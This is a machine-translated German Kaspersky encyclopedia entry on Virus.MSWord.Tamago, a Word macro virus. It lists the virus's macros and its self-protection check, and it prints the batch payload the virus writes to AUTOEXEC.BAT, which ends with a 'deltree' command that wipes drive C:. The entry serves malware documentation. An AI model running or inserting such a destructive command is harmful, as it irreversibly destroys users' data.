DIESER SERVICE KANN ÜBERSETZUNGEN VON GOOGLE ENTHALTEN. GOOGLE ÜBERNIMMT KEINERLEI VERANTWORTUNG FÜR DIE ÜBERSETZUNGEN. DARUNTER FÄLLT JEGLICHE VERANTWORTUNG IN BEZUG AUF RICHTIGKEIT UND ZUVERLÄSSIGKEIT SOWIE JEGLICHE STILLSCHWEIGENDEN GEWÄHRLEISTUNGEN DER MARKTGÄNGIGKEIT, NICHT-VERLETZUNG VON RECHTEN DRITTER ODER DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK.

Die Website von Kaspersky Lab wurde für Ihre Bequemlichkeit mithilfe einer Übersetzungssoftware von Google Translate übersetzt. Es wurden angemessene Bemühungen für die Bereitstellung einer akkuraten Übersetzung unternommen. Bitte beachten Sie, dass automatisierte Übersetzungen nicht perfekt sind und menschliche Übersetzer in keinem Fall ersetzen sollen. Übersetzungen werden den Nutzern der Kaspersky-Lab-Website als Service und "wie sie sind" zur Verfügung gestellt. Die Richtigkeit, Zuverlässigkeit oder Korrektheit jeglicher Übersetzungen aus dem Englischen in eine andere Sprache wird weder ausdrücklich noch stillschweigend garantiert. Einige Inhalte (z. B. Bilder, Videos, Flash, usw.) können aufgrund der Einschränkungen der Übersetzungssoftware möglicherweise nicht inhaltsgetreu übersetzt werden.

Virus.MSWord.Tamago

Kategorie Virus
Plattform MSWord
Beschreibung

Technische Details

Dieser Makrovirus wirkt sich beim Schließen eines infizierten Dokuments auf das System aus und kopiert sich in Dokumente, die geschlossen oder mit neuem Namen gespeichert werden. Es enthält sieben Makros:


Dokumente NORMAL.DOT
AutoOp AutoOpen
AutoExec AutoExec
AutoClose AutoClose
UtilMacro UtilMakro
FerramMacro FerramMakro
ArquivoModelos ArquivoModelos
ArquivoSalvarComo ArquivoSalvarComo
Der Virus infiziert das System und die Dokumente nicht, wenn Environment die Zeichenfolge "TAMAGOXI = GMS" (Selbstschutz des Virenautors?) Enthält. In diesem Fall zeigt der Virus die MessageBox an:

(sLeEp MODe) TaMaGoXi WiZaRD: EeRnAl LoVE 2 mY LitTlE gIrl Gi
Am 26. eines beliebigen Monats schreibt der Virus in die C: AUTOEXEC.BAT-Anweisungen, die die Nachricht anzeigen und alle Dateien auf Laufwerk C: löschen

@echo aus
cls
Echo.
Echo.
Echo.
Echo SaLamAs CoRP – AlL LEFTs RESERVED – 1997
echo TaMaGoXI BY WiZaRD ***
Echo ***
Echo *
Echo *
echo *************
echo * *
echo * **** **** *
echo * *
Echo * ***** *
echo ***************
Echo.
echo eXPecT nOn MeRcY FROM HiM
Echo.
Echo.
echo Datei 'nicht gefunden: Serve Alcatara Mane'? (S / N)
Echo.
Echo.
deltree /yc:*.*> nul


Link zum Original